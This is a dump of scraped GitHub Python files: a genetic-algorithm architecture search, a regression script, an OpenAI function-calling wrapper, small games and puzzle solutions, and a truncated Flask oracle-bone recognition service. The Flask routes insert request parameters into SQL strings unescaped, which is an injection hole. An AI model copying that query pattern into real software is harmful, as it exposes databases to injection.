layers.Dense:\n self.model.add(layer(units=self.units,\n activation=self.activation,\n kernel_initializer=self.normal_init))\n elif layer == layers.Dropout:\n self.model.add(layer(rate=self.rate))\n else:\n self.model.add(layer(pool_size=self.pool_size,\n strides=self.stride))\n except Exception as e:\n return # exit when invalid config is encountered\n self.model.add(layers.Flatten())\n self.model.add(layers.Dense(units=self.genes[\"out_nodes\"],\n activation=self.genes[\"activation\"]))\n\n # compile\n is_mse = self.genes[\"loss\"] == \"mean_squared_error\"\n self.model.compile(loss=self.genes[\"loss\"],\n optimizer=self.optimiser,\n metrics=[\"mean_squared_error\", self.custom_mse(is_mse)])\n\n # end execution if the no. of output nodes is not appropriate for the loss function\n if self.genes[\"loss\"] == \"mean_squared_error\" and self.genes[\"out_nodes\"] != 1:\n return\n if self.genes[\"loss\"] == \"categorical_crossentropy\" and self.genes[\"out_nodes\"] == 1:\n return\n\n try:\n # compute validation loss on second half of data, in line with validation_split in the fit method\n halfway = self.orig_x.shape[0]\n halfway = int((halfway/2+1)//1)\n v0 = self.model.evaluate(self.orig_x[halfway:-1, ...], mod_y[halfway:-1, ...],\n verbose=0)\n self.model.fit(self.orig_x, mod_y,\n batch_size=self.batch_size,\n epochs=self.no_epochs,\n verbose=0,\n validation_split=0.5) # validation data taken from tail of array before shuffling\n except RuntimeError as e:\n if str(e)[0:16] == \"You must compile\": # models with invalid layer configs are not compiled during init\n return\n\n val_loss = self.model.history.history[\"val_loss\"]\n if np.mean(val_loss) < v0[0]: # check if learning has taken place\n if self.use_custom_mse:\n self.fitness = self.model.history.history[\"val_custom_mse_loss\"][-1]\n else:\n self.fitness = self.model.history.history[\"val_mean_squared_error\"][-1]\n\n\nclass GA:\n def __init__(self, x, y, pop_size=50, max_generations=10, co_rate=0.7, mut_rate=0.3, use_custom_mse=True):\n self.pop_size = pop_size\n self.max_generations = max_generations\n self.co_rate = co_rate\n self.mut_rate = mut_rate\n self.x = x\n self.y = y\n self.use_custom_mse = use_custom_mse\n self.hist = {\"ce_fit\": [], \"mse_pct\": [], \"mse_fit\": [], \"best_mod\": []}\n\n def update_hist(self, res_table, population): # save per generation results\n mse_prop = np.sum(res_table[:, 0])/self.pop_size\n self.hist[\"mse_pct\"].append(mse_prop)\n print(\"Proportion of MSE:\", mse_prop)\n if mse_prop == 0:\n self.hist[\"mse_fit\"].append(np.NaN)\n self.hist[\"ce_fit\"].append(np.min(res_table[:, 1]))\n elif mse_prop == 1:\n self.hist[\"mse_fit\"].append(np.min(res_table[:, 1]))\n self.hist[\"ce_fit\"].append(np.NaN)\n else:\n mse_rows = res_table[:, 0] == 1\n self.hist[\"mse_fit\"].append(np.min(res_table[mse_rows, 1]))\n self.hist[\"ce_fit\"].append(np.min(res_table[~mse_rows, 1]))\n print(\"Best fitness MSE:\", self.hist[\"mse_fit\"][-1])\n print(\"Best fitness CE:\", self.hist[\"ce_fit\"][-1])\n self.hist[\"best_mod\"].append(population[np.argmin(res_table[:, 1])].model)\n\n def select_parent(self, population, tournament_size=5):\n current_best = Chromosome(self.x, self.y, use_custom_mse=self.use_custom_mse)\n for i in range(tournament_size):\n random_chromosome = random.choice(population)\n if random_chromosome.fitness < current_best.fitness:\n current_best = random_chromosome\n return current_best\n\n @staticmethod\n def crossover(parent_1, parent_2):\n p = random.randint(0, len(parent_1.genes)-1)\n element = list(parent_1.genes)[p]\n temp = parent_1.genes[element]\n parent_1.genes[element] = parent_2.genes[element]\n parent_2.genes[element] = temp\n return parent_1, parent_2\n\n def mutate(self, parent):\n gene = random.choice(list(parent.genes))\n if gene == \"loss\":\n parent.genes[\"loss\"] = random.choice((\"categorical_crossentropy\", \"mean_squared_error\"))\n elif gene == \"out_nodes\":\n parent.genes[\"out_nodes\"] = random.choice((1, len(np.unique(self.y))))\n elif gene == \"activation\":\n parent.genes[\"activation\"] = random.choice((\"linear\", \"softmax\", \"relu\", \"sigmoid\"))\n elif gene == \"architecture\":\n if len(self.x.shape) == 4:\n parent.genes[\"architecture\"] = random.choices((layers.Conv2D, layers.Dense,\n layers.Dropout, layers.MaxPool2D),\n k=random.randint(5, 15))\n elif len(self.x.shape) == 2:\n parent.genes[\"architecture\"] = random.choices((layers.Dense, layers.Dropout),\n k=random.randint(5, 15))\n else:\n raise Exception(\"unexpected input shape\", self.x.shape)\n return parent\n\n def run(self):\n # create initial population\n init_population = np.empty(self.pop_size, dtype=object)\n temp_res = np.zeros((self.pop_size, 2), dtype=np.float32)\n for i in range(self.pop_size):\n init_population[i] = Chromosome(self.x, self.y, use_custom_mse=self.use_custom_mse)\n init_population[i].evaluate()\n if init_population[i].genes[\"loss\"] == \"mean_squared_error\":\n temp_res[i, 0] = 1\n temp_res[i, 1] = init_population[i].fitness\n self.update_hist(temp_res, init_population)\n\n gen = 0\n best_chromosome = Chromosome(self.x, self.y, use_custom_mse=self.use_custom_mse)\n current_population = init_population\n\n # start the genetic loop\n while gen < self.max_generations:\n gen = gen + 1\n print(\"Generation\", gen)\n new_pop = np.empty(self.pop_size, dtype=object)\n\n # crossover\n for i in range(0, self.pop_size, 2):\n parent_1 = self.select_parent(current_population)\n parent_2 = self.select_parent(current_population)\n if random.uniform(0, 1) <= self.co_rate:\n new_pop[i], new_pop[i+1] = self.crossover(parent_1, parent_2)\n else:\n new_pop[i], new_pop[i+1] = parent_1, parent_2\n\n # mutate\n for j in range(self.pop_size):\n if random.uniform(0, 1) <= self.mut_rate:\n new_pop[j] = self.mutate(new_pop[j])\n current_population = new_pop\n\n # evaluate\n temp_res = np.zeros((self.pop_size, 2), dtype=np.float32)\n for k in range(self.pop_size):\n current_population[k].evaluate()\n if current_population[k].genes[\"loss\"] == \"mean_squared_error\":\n temp_res[k, 0] = 1\n temp_res[k, 1] = current_population[k].fitness\n if current_population[k].fitness <= best_chromosome.fitness:\n best_chromosome = current_population[k]\n self.update_hist(temp_res, current_population)\n return best_chromosome\n\n\nclass RandomSearch:\n def __init__(self, x, y, n=500):\n self.n = n\n self.x = x\n self.y = y\n\n def run(self):\n best_fit = np.inf\n best_loss = None\n for i in range(self.n):\n if i % 50 == 0:\n print(\"Evaluating config number:\", i+1)\n config = Chromosome(self.x, self.y)\n config.evaluate()\n if config.fitness < best_fit:\n best_fit = config.fitness\n best_loss = config.genes[\"loss\"]\n return best_fit, best_loss\n\n\nif __name__ == \"__main__\":\n # example usage\n print(\"Loading dataset: Boston Housing\")\n xx, yy = unpick(\"boston.pkl\") # set /AML as working dir\n\n # run API (GA)\n print(\"Running API for 10 generations, population: 5\")\n small_ga = GA(xx, yy, pop_size=10, max_generations=5)\n small_ga.run()\n\n # run random search baseline\n print(\"Runing random search with 20 configs\")\n small_rndm_srch = RandomSearch(xx, yy, n=20)\n best_fit, best_loss = small_rndm_srch.run()\n print(\"Best fitness:\", best_fit)\n print(\"Loss Function:\", best_loss)\n\n","repo_name":"yicli/API","sub_path":"Project/GA.py","file_name":"GA.py","file_ext":"py","file_size_in_byte":13291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3050506974","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Mar 23 15:48:10 2022\r\n\r\n@author: xzong\r\n\"\"\"\r\n\r\n# Import necessary packages\r\nimport pandas as pd\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib\r\nfrom sklearn import linear_model \r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error, r2_score\r\nfrom sklearn.model_selection import KFold, cross_validate, LeaveOneOut, train_test_split\r\n\r\n# Set plotting parameters\r\nmatplotlib.rcParams['font.size'] = 14\r\nmatplotlib.rcParams['axes.linewidth'] = 1.5\r\nmatplotlib.rcParams['xtick.major.size'] = 8\r\nmatplotlib.rcParams['xtick.major.width'] = 2\r\nmatplotlib.rcParams['ytick.major.size'] = 8\r\nmatplotlib.rcParams['ytick.major.width'] = 2\r\nmatplotlib.rcParams['xtick.direction'] = 'out'\r\nmatplotlib.rcParams['ytick.direction'] = 'in'\r\nmatplotlib.rcParams['ytick.major.size'] = 8\r\nmatplotlib.rcParams['figure.dpi'] = 600.\r\n\r\n#%% Data Preprocessing\r\n# Load the dataset\r\ndata = pd.read_excel('Dataset.xlsx')\r\n# Return column names\r\n\r\ndescriptors = ['CN', 'n_metal', 'GCN', 'Valency', 'chi_ME',\r\n 'Bond_count', 'chi_NN', 'mass']\r\n\r\n# Select input data\r\nX = data.iloc[:, 3:11]\r\n\r\n# Select binding energy as response\r\nY = data.iloc[:, 11]\r\n\r\n# Standardize the data to a unit variance and 0 mean\r\nscaler = StandardScaler().fit(X)\r\nX_scaled = scaler.transform(X)\r\n\r\nX_std = scaler.scale_\r\nX_mean = scaler.mean_\r\n\r\n# Check if there have a unit variance and zero mean\r\nXs_std = np.std(X_scaled, axis = 0)\r\nprint('The std of each column in standardized X:')\r\nprint(Xs_std)\r\nXs_mean = np.mean(X_scaled, axis = 0)\r\nprint('The mean of each column standardized X:')\r\nprint(Xs_mean)\r\n\r\n#%% Split the data into training and test set, set-up cross-validation\r\n# Specify random_state to make results reproducible\r\nX_train, X_test, y_train, y_test = train_test_split(X_scaled, Y, test_size=0.2, random_state=0)\r\n\r\n# Convert dataframe to numpy array\r\nY_train = y_train.to_numpy()\r\nY_test = y_test.to_numpy()\r\n\r\n# check train and test set sizes\r\nprint(X_train.shape)\r\nprint(X_test.shape)\r\nprint(Y_train.shape)\r\nprint(Y_test.shape)\r\n\r\n# Set up cross-validation scheme \r\nkfold = KFold(n_splits = 10, shuffle = True, random_state = 0)\r\nloo = LeaveOneOut()\r\n\r\n#%% Create helper functions for linear regression\r\ndef linear_regression(X, y):\r\n \"\"\"Create linear regression object\r\n :param X: feature matrix\r\n :param y: response \r\n :type y: 1D np array\r\n :return: regression model\r\n :rtype: sklearn object\r\n \"\"\" \r\n model = linear_model.LinearRegression(fit_intercept = True)\r\n model.fit(X, y)\r\n \r\n return model\r\n \r\ndef cross_validation(X, y, model, cv_method): \r\n \"\"\"Cross-validation\r\n :param X: feature matrix\r\n :param y: response\r\n :type y: 1D np array\r\n :param model: regression model\r\n :type model: sklearn object\r\n :param cv_method: cross validation method\r\n :type cv_method: cv object\r\n :return: mean cv error \r\n :rtype: float\r\n \"\"\" \r\n\r\n scores = cross_validate(model, X, y, cv = cv_method,\r\n scoring=('neg_mean_squared_error'),\r\n return_train_score=True)\r\n \r\n # Use RMSE as the loss function (score)\r\n # Export train RMSE\r\n train_RMSE = np.sqrt(np.abs(scores['train_score'])) \r\n train_RMSE_mean = np.mean(train_RMSE)\r\n \r\n # Export cv RMSE (test set in cv is the validation set)\r\n cv_RMSE = np.sqrt(np.abs(scores['test_score'])) \r\n cv_RMSE_mean = np.mean(cv_RMSE)\r\n\r\n \r\n return train_RMSE_mean, cv_RMSE_mean\r\n\r\ndef ols(x_train, y_train, x_test, y_test):\r\n model = linear_regression(x_train, y_train)\r\n n_features = x_train.shape[1]\r\n # Cross validation\r\n train_RMSE, cv_RMSE = cross_validation(x_train, y_train, model = model, cv_method = kfold)\r\n \r\n # Make prediction for the test set and access the error\r\n y_pred = model.predict(x_test)\r\n test_RMSE = np.sqrt(mean_squared_error(y_test, y_pred))\r\n test_MAE = mean_absolute_error(y_test, y_pred)\r\n test_r2 = r2_score(y_test, y_pred)\r\n \r\n # Print out performance metrics\r\n print('Model 0 has {0:} feature(s): '.format(n_features)) \r\n print(' Training error of {0:5.2f}'.format(train_RMSE))\r\n print(' Validation error of {0:5.2f}'.format(cv_RMSE))\r\n print(' Test error of {0:5.2f}'.format(test_RMSE))\r\n print(' Test MAE of {0:5.2f}'.format(test_MAE))\r\n print(' Test R2 of {0:5.2f}'.format(test_r2))\r\n \r\n # Extract parameters from the model\r\n intercept = model.intercept_\r\n coef = model.coef_\r\n \r\n # Parity plot: actual data vs prediction\r\n fig, ax = plt.subplots(figsize=(5, 5))\r\n ax.scatter(y_test, y_pred)\r\n plt.plot([-8, 0], [-8, 0], 'r', linewidth = 2)\r\n \r\n return test_RMSE, train_RMSE, cv_RMSE, test_MAE, test_r2, intercept, coef\r\n\r\n#%% Linear regression with all ten features\r\ntest, train, test_mae, test_r2_score, crossva, intercept, coef = ols(X_train, y_train, X_test, y_test)\r\n\r\n#%%\r\n# Parity plot to visualize prediction results\r\ny_train_pred = intercept + np.dot(X_train, coef.reshape(-1, 1))\r\ny_test_pred = intercept + np.dot(X_test, coef.reshape(-1, 1))\r\n\r\nplt.scatter(y_train, y_train_pred)\r\nplt.scatter(y_test, y_test_pred)\r\n\r\nplt.xlim([-8, 0])\r\nplt.ylim([-8, 0])\r\n\r\nplt.xlabel('Binding Energy from DFT (eV)')\r\nplt.ylabel('Binding Energy from OLS (eV)')\r\nplt.title('ML vs DFT Energy for Multilinear Model')\r\n\r\n#%% Plot feature importance from their coefficients\r\ncoef_list = coef.tolist()\r\n\r\nfor i in range(len(coef_list)):\r\n val = coef_list[i]\r\n if val < 0:\r\n coef_list[i] = abs(val)\r\n\r\nfeatures = np.array(descriptors)\r\n\r\nnew_coef = np.array(coef_list)\r\n\r\nsorted_idx = new_coef.argsort()\r\nplt.barh(features[sorted_idx], new_coef[sorted_idx])\r\nplt.xlabel(\"Absolute Coefficients\")\r\n\r\nplt.savefig(\"MLR Feature Importance.png\", dpi=1200)\r\n","repo_name":"xzong0619/Adsorption_Machine_Learning","sub_path":"ml_model/MLR.py","file_name":"MLR.py","file_ext":"py","file_size_in_byte":5953,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"332078970","text":"import json\nimport os\nimport openai\nfrom dotenv import find_dotenv, load_dotenv\n\n\nclass OpenAIHandler:\n def __init__(\n self,\n api_functions,\n function_definitions,\n # This is the message that will give the bot some identity.\n system_message,\n # 0613 is the version of gpt that can take function definitions as input.\n model=\"gpt-3.5-turbo-0613\",\n ):\n load_dotenv(find_dotenv())\n openai.api_key = os.environ.get(\"OPENAI_API_KEY\")\n if openai.api_key is None:\n raise ValueError(\n \"OPENAI_API_KEY not found in environment variables.\")\n\n # This is a dictionary of functions that the bot can call.\n self.api_functions = api_functions\n # This is a dictionary of function_definitions that the bot can use to call functions.\n self.function_definitions = function_definitions\n # This is the model that the bot will use to generate responses.\n self.model = model\n # This is the message that will give the bot some identity.\n self.system_message = system_message\n\n\n\n '''\n This function is used to send a message to the bot.\n This is the inital call to the llm.\n '''\n def send_message(self, query):\n response = openai.ChatCompletion.create(\n model=self.model,\n messages=[\n {\"role\": \"system\",\n \"content\": self.system_message, # System message is used to give the bot some identity.\n },\n {\n \"role\": \"user\", \"content\": query\n }\n ],\n # This is the dictionary of function_definitions that the bot can use to call functions.\n # This is also the place where llm decides whether to call a function or not.\n functions = self.function_definitions, \n )\n message = response[\"choices\"][0][\"message\"] # The message is retrieved from the response.\n return message\n\n \n def process_function_call(self, message):\n # this if statement checks if the message contains a function call.\n if message.get(\"function_call\"):\n print(message.get(\"function_call\"))\n function_name = message[\"function_call\"][\"name\"] # The name of the function is retrieved from the message.\n function_args_json = message[\"function_call\"].get(\"arguments\", \"{}\") # The arguments of the function are retrieved from the message.\n function_args = json.loads(function_args_json) # The arguments are converted from json to a python dictionary.\n \n api_function = self.api_functions.get(function_name) # The api function is retrieved from the api_functions dictionary.\n \n \n # This if statement checks if the api_function exists.\n if api_function:\n result = str(api_function(**function_args)) # The api function is called with the arguments and the result is converted to a string.\n return function_name, result\n else:\n print(f\"Function {function_name} not found.\")\n return None, None\n \n # Final response\n def send_response(self, query): # Same query as was in send_message function.\n message = self.send_message(query)\n function_name, result = self.process_function_call(message) # The function_name and result are retrieved from the message.\n \n # If statement checks if the function_name and result exist that is function was called and result was returned.\n if function_name and result:\n print(\"Function call successful.\")\n # Additional request to llm to get the response.\n second_response = openai.ChatCompletion.create(\n model = self.model,\n messages = [\n {\n \"role\": \"system\",\n \"content\": self.system_message,\n },\n {\n \"role\": \"user\",\n \"content\": query,\n },\n message,\n {\n \"role\": \"function\",\n \"name\": function_name,\n \"content\": result,\n }\n ],\n )\n return second_response[\"choices\"][0][\"message\"][\"content\"]\n else:\n return message[\"content\"] # If function was not called then the message is returned.","repo_name":"nikhilsharma26500/GPT-Restaurant-Bot","sub_path":"handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":4543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70783882066","text":"#!\\usr\\bin\\env python3\n\"\"\"ME 499 Lab 1 Part 1-3\n Samuel J. Stumbo\n This script \"builds\" on last week's volume calculator by placing it within the context of a function\"\"\"\n\nfrom math import pi\n\n# This function calculates the volumes of a cylinder\ndef cylinder_volume(r, h):\n if type(r) == int and type(h) == int:\n float(r)\n float(h)\n\n if r < 0 or h < 0:\n return None\n # print('you may have entered a negative number')\n else:\n volume = pi * r ** 2 * h\n return volume\n elif type(r) == float and type(h) == float:\n if r < 0 or h < 0:\n return None\n else:\n volume = pi * r ** 2 * h\n return volume\n else:\n # print(\"You must have entered a string!\")\n return None\n\n\n# This function calculates the volume of a torus\ndef volume_tor(inner_radius, outer_radius):\n if type(inner_radius) == int and type(outer_radius) == int:\n float(inner_radius)\n float(outer_radius)\n if inner_radius < 0 or outer_radius < 0:\n return None\n else:\n if inner_radius > outer_radius:\n return None\n elif inner_radius == outer_radius:\n return None\n else:\n r_mid = (inner_radius + outer_radius) / 2 # Average radius of torus\n r_circle = (outer_radius - inner_radius) / 2 # Radius of donut cross-section\n volume = (pi * r_circle ** 2) * (2 * pi * r_mid)\n return volume\n elif type(inner_radius) == float and type(outer_radius) == float:\n if r < 0 and h < 0:\n return None\n else:\n if inner_radius > outer_radius:\n return None\n elif inner_radius == outer_radius:\n return None\n else:\n r_mid = (inner_radius + outer_radius) / 2 # Average radius of torus\n r_circle = (outer_radius - inner_radius) / 2 # Radius of donut cross-section\n volume = (pi * r_circle ** 2) * (2 * pi * r_mid)\n return volume\n else:\n return None\n\n\nif __name__ == '__main__':\n print(cylinder_volume(3, 1))\n print(volume_tor(-2, 7))\n\n","repo_name":"ch-bby/R-2","sub_path":"ME499/Lab_1/volumes.py","file_name":"volumes.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4978158141","text":"import pygame\nfrom settings import Settings\nfrom ship import Ship\nfrom shot import Shot\nfrom asteroid import Asteroid\nimport time\n\n\n\ndef check_hits(asteroids, shots):\n\tidxs_ast = []\n\tidxs_sht = []\n\tcount = 0\n\tfor idx_shts, shot in enumerate(shots):\n\t\tfor idx_atr, asteroid in enumerate(asteroids):\n\t\t\tif(asteroid.check_hit(shot.pos_x, shot.pos_y)):\n\t\t\t\tasteroids.pop(idx_atr)\n\t\t\t\tshots.pop(idx_shts)\n\t\t\t\tcount += 1\n\n\treturn asteroids, shots, count\n\ndef check_game_over(asteroids, ship):\n\trect = ship.rotated_image_rect\n\tfor asteroid in asteroids:\n\t\tif (asteroid.check_hit(rect.topleft[0], rect.topleft[1])):\n\t\t\treturn True\n\t\tif (asteroid.check_hit(rect.topright[0], rect.topright[1])):\n\t\t\treturn True\n\t\tif (asteroid.check_hit(rect.bottomleft[0], rect.bottomleft[1])):\n\t\t\treturn True\n\t\tif (asteroid.check_hit(rect.bottomright[0], rect.bottomright[1])):\n\t\t\treturn True\n\n\treturn False\n\n\ndef game():\n\tscore = 0\n\tpygame.init()\n\n\tship = Ship()\n\n\tscreen = pygame.display.set_mode((Settings.width,Settings.height))\n\tclock = pygame.time.Clock()\n\n\tshots = []\n\tasteroids = []\n\tlast_shot = 0\n\n\tpygame.font.init()\n\tmyfont = pygame.font.SysFont('Comic Sans MS', 20)\n\n\twhile(True):\n\t\tscreen.fill((0,0,0))\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\traise SystemExit\n\n\t\tpressed_key = pygame.key.get_pressed()\n\t\tif pressed_key[pygame.K_LEFT]: \n\t\t ship.rotate_left() \n\t\tif pressed_key[pygame.K_RIGHT]:\n\t\t ship.rotate_right()\n\t\tif pressed_key[pygame.K_UP]:\n\t\t ship.accelerate()\n\t\tif pressed_key[pygame.K_SPACE]:\n\t\t\tif(time.time()-last_shot > Settings.shot_delay):\n\t\t\t\tshots.append(Shot(ship.ang, ship.pos_x, ship.pos_y))\n\t\t\t\tlast_shot = time.time()\n\n\n\t\t# bullets\n\t\tfor index, sht in enumerate(shots):\n\t\t\tif not sht.check_border():\n\t\t\t\tshots.pop(index)\n\n\n\t\tfor sht in shots:\n\t\t\tpygame.draw.circle(screen, (255,255,255), (sht.pos_x, sht.pos_y), 5)\n\n\t\tif (len(asteroids) < 10):\n\t\t\tasteroids.append(Asteroid(ship.pos_x, ship.pos_y))\n\n\t\tfor ast in asteroids:\n\t\t\tast.upd_pos()\n\t\t\tpygame.draw.circle(screen, (255,255,255), (ast.pos_x, ast.pos_y), ast.radius)\n\n\t\tasteroids, shots, new_score = check_hits(asteroids, shots)\n\t\tscore += new_score\n\t\ttextSurface = myfont.render('Pontuacao: ' + str(score), False, (0,255,0))\n\t\tif check_game_over(asteroids, ship):\n\t\t\tprint('GAME OVER!')\n\t\t\tprint('Pontuacao: ' + str(score) + ' asteroides!')\n\t\t\tbreak\n\t\timg, pos = ship.img()\n\t\tscreen.blit(textSurface, (0,0))\n\t\tscreen.blit(img, pos)\n\n\t\tpygame.display.flip()\n\t\tclock.tick(60)\n\n\nif __name__ == '__main__':\n\tgame()\n","repo_name":"NicholasAlmeidaPinto/Asteroids-Game","sub_path":"scr/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5135265046","text":"\"\"\"\nCe module comporte la classe JoueurHumainTk. Il s'agit d'une version du joueur\nhumain qui réagit aux clics dans l'interface (par opposition à entrer des coordonnées en console\nau TP3).\n\"\"\"\n\nfrom guerre_des_des_tp3.joueur import Joueur\n\n\nclass JoueurHumainTk(Joueur):\n def __init__(self, couleur):\n \"\"\"\n Constructeur de la classe JoueurHumainTk.\n\n Args:\n couleur (str): La couleur du joueur. Lui sert aussi de nom.\n \"\"\"\n super().__init__(couleur, \"Humain\")\n\n def selectionner_attaquant(self, carte, coor):\n \"\"\"\n Cette méthode permet de sélectionner l'attaquant.\n\n Args:\n carte (Carte): la carte du jeu.\n coor (tuple): les coordonnées de la case cliquée\n\n Returns:\n Case: la case aux coordonnées cliquées. None si elle n'est pas disponible.\n \"\"\"\n cases_disponibles = carte.cases_disponibles_pour_attaque(self)\n if coor in cases_disponibles:\n case = cases_disponibles[coor]\n case.selectionner_pour_attaque()\n return case\n else:\n return None\n\n def selectionner_defenseur(self, carte, case_attaquante, coor):\n \"\"\"\n Cette méthode permet de sélectionner le défenseur.\n\n Args:\n carte (Carte): la carte du jeu\n case_attaquante (Case): la case qui attaque\n coor (tuple): les coordonnées de la case cliquée\n\n Returns:\n Case: la case aux coordonnées cliquées. None si elle n'est pas disponible.\n \"\"\"\n cases_disponibles = carte.cases_disponibles_pour_defense(self, case_attaquante)\n if coor in cases_disponibles:\n case = cases_disponibles[coor]\n case.selectionner_pour_defense()\n return case\n else:\n return None\n","repo_name":"dmichaud92/TP4","sub_path":"Fichiers_TP4/Equipe44_TP4/interface/joueur_humain_tk.py","file_name":"joueur_humain_tk.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18971990126","text":"times = int(input())\nfor i in range(times):\n s, t, flag = input(), input(), True\n k = [0] * len(t)\n if (len(s) - len(t)) % 2 != 0: k[0] = 1\n while flag:\n for j in range(0, len(t)):\n if j > 0:\n k[j] = 1 + k[j - 1]\n if k[j] >= len(s):\n flag = False\n break\n while k[j] < len(s) and t[j] != s[k[j]]:\n k[j] += 2\n if k[len(k) - 1] < len(s) and t[len(t) - 1] == s[k[len(k) - 1]]:\n break\n else:\n k[0] += 2\n if flag:\n print(\"YES\")\n else:\n print(\"NO\")\n","repo_name":"Mzxwell/SE_PY","sub_path":"special_typing.py","file_name":"special_typing.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74121536786","text":"# https://atcoder.jp/contests/tenka1-2016-qualb/submissions/15395334\n# A - 天下一合成関数\nimport sys\n\nsys.setrecursionlimit(10 ** 7)\ninput = sys.stdin.readline\nf_inf = float('inf')\nmod = 10 ** 9 + 7\n\n\ndef resolve():\n def f(x):\n return (x ** 2 + 4) // 8\n\n print(f(f(f(20))))\n\n\nif __name__ == '__main__':\n resolve()\n","repo_name":"happa64/AtCoder_Beginner_Contest","sub_path":"Unrated/TENKA1_2016_Qual_B/TENKA1_2016_Qual_B-A.py","file_name":"TENKA1_2016_Qual_B-A.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12496388024","text":"TRAPS = [\"^^.\", \".^^\", \"^..\", \"..^\"]\n\n\ndef next_row(data):\n result = \"\"\n safe_tiles = 0\n for idx, _ in enumerate(data):\n if (idx == 0) or (idx == len(data) - 1):\n result += \".\"\n else:\n if data[idx-1:idx+2] in TRAPS:\n result += \"^\"\n else:\n result += \".\"\n safe_tiles += 1\n return (result, safe_tiles)\n\n\nwith open(\"../../_inputs/2016/day-18/input.txt\", \"r\", encoding=\"utf-8\") as f:\n START = f.readline().strip()\n\nanswer = sum(1 for el in START if el == \".\")\ncur = \".\" + START + \".\"\nfor i in range(400000 - 1):\n cur, safe = next_row(cur)\n answer += safe\n if i == 38:\n print(f\"Part 1: {answer}\")\nprint(f\"Part 2: {answer}\")\n","repo_name":"vadim-zyamalov/advent-of-code","sub_path":"2016/day-18/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19280786061","text":"from flask import (\n Blueprint, flash, g, redirect, render_template, request, url_for,\n current_app, send_file, jsonify\n)\nfrom werkzeug.exceptions import abort\nfrom werkzeug.utils import secure_filename\nfrom .utils import recognize, image2base64\n\nfrom .auth import login_required\nfrom .db import get_db\nimport os\n\nbp = Blueprint('service', __name__)\n\n\n@bp.route('/oracle_recognition', methods=['GET', 'POST'])\ndef oracle_recognition():\n # get parameters\n query_parameters = request.args\n num_cands = query_parameters.get('num_cands')\n imagebase64 = query_parameters.get('image')\n\n if num_cands is None:\n num_cands = 4\n num_cands = int(num_cands)\n print(num_cands)\n\n # get image file\n image = request.files['image']\n\n results = recognize(image, num_cands)\n rv = []\n db = get_db()\n for name in results:\n tuple = db.execute(\n 'SELECT * FROM oracle WHERE name=\"{}\"'.format(name)\n ).fetchone()\n image_path = os.path.join(current_app.config['IMAGE_PATH'], tuple['img'])\n image_base64 = str(image2base64(image_path))\n rv.append((name, image_base64))\n return jsonify(rv)\n\n\n@bp.route('/oracle_search', methods=['GET'])\ndef oracle_search():\n query_parameters = request.args\n name = query_parameters.get('name')\n\n db = get_db()\n result = db.execute(\n 'SELECT * FROM oracle WHERE name=\"{}\"'.format(name)\n ).fetchone()\n if result is None:\n abort(404, 'the oracle image of \\'{}\\' not found'.format(name))\n image_path = os.path.join(current_app.config['IMAGE_PATH'], result['img'])\n\n return send_file(image_path, mimetype='image/jpeg')\n\n\n@bp.route('/wrong_question', methods=['GET', 'POST'])\n@login_required\ndef wrong_question():\n user_id = g.user['id']\n db = get_db()\n if request.method == 'POST':\n query_parameters = request.args\n question_id = query_parameters.get('question_id')\n old_q = db.execute('SELECT * FROM wrong_question WHERE user_id = {} AND question_id = {}'.format(user_id, question_id)).fetchall()\n if len(old_q) == 0:\n db.execute('INSERT INTO wrong_question (user_id, question_id) VALUES ({}, {})' \\\n .format(user_id, question_id))\n db.commit()\n return 'Upload success.'\n else:\n return 'Question already exists.'\n else:\n db = get_db()\n wrong_questions = db.execute('SELECT img, a, b, c, d FROM question WHERE id IN '\n '(SELECT question_id FROM wrong_question WHERE user_id = {})'.format(\n user_id)).fetchall()\n rv = []\n for q in wrong_questions:\n image_path = os.path.join(current_app.config['IMAGE_PATH'], q['img'])\n image_base64 = str(image2base64(image_path))\n tuple = {\n 'image': image_base64,\n 'a': q['a'],\n 'b': q['b'],\n 'c': q['c'],\n 'd': q['d'],\n }\n rv.append(tuple)\n return jsonify(rv)\n\n\n@bp.route('/question', methods=['GET'])\n@login_required\ndef get_question():\n db = get_db()\n num_questions = db.execute('SELECT num_questions_per_time FROM user WHERE id = {}'\n .format(g.user['id'])).fetchone()['num_questions_per_time']\n next_question_id = db.execute('SELECT next_question_id FROM user WHERE id = {}'\n .format(g.user['id'])).fetchone()['next_question_id']\n questions = db.execute('SELECT * FROM question WHERE id >= {} AND id < {}'.format(next_question_id,\n next_question_id + num_questions)).fetchall()\n rv = []\n for q in questions:\n image_path = os.path.join(current_app.config['IMAGE_PATH'], q['img'])\n image_base64 = str(image2base64(image_path))\n tuple = {\n 'id': q['id'],\n 'image': image_base64,\n 'a': q['a'],\n 'b': q['b'],\n 'c': q['c'],\n 'd': q['d'],\n }\n rv.append(tuple)\n return jsonify(rv)\n\n\n@bp.route('/question_by_id', methods=['GET'])\n@login_required\ndef get_question_by_id():\n db = get_db()\n query_parameters = request.args\n question_id = query_parameters.get('question_id')\n question = db.execute('SELECT * FROM question WHERE id = {} '.format(question_id)).fetchall()\n rv = []\n for q in question:\n image_path = 